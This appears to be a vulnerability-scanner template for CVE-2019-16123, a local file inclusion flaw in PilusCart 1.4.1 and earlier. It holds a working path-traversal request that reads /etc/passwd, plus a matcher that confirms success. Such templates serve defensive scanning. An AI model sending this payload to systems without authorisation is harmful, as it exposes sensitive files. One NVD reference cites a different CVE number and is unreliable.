id: CVE-2019-16123 info: name: PilusCart <=1.4.1 - Local File Inclusion author: 0x_Akoko severity: high description: | PilusCart versions 1.4.1 and prior suffer from a file disclosure vulnerability via local file inclusion. reference: - https://packetstormsecurity.com/files/154250/PilusCart-1.4.1-Local-File-Disclosure.html - https://www.exploit-db.com/exploits/47315 - https://nvd.nist.gov/vuln/detail/CVE-2019-1653 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2019-16123 cwe-id: CWE-22 tags: piluscart,lfi,packetstorm,edb,cve,cve2019 requests: - method: GET path: - "{{BaseURL}}/catalog.php?filename=../../../../../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # Enhanced by mp on 2022/06/17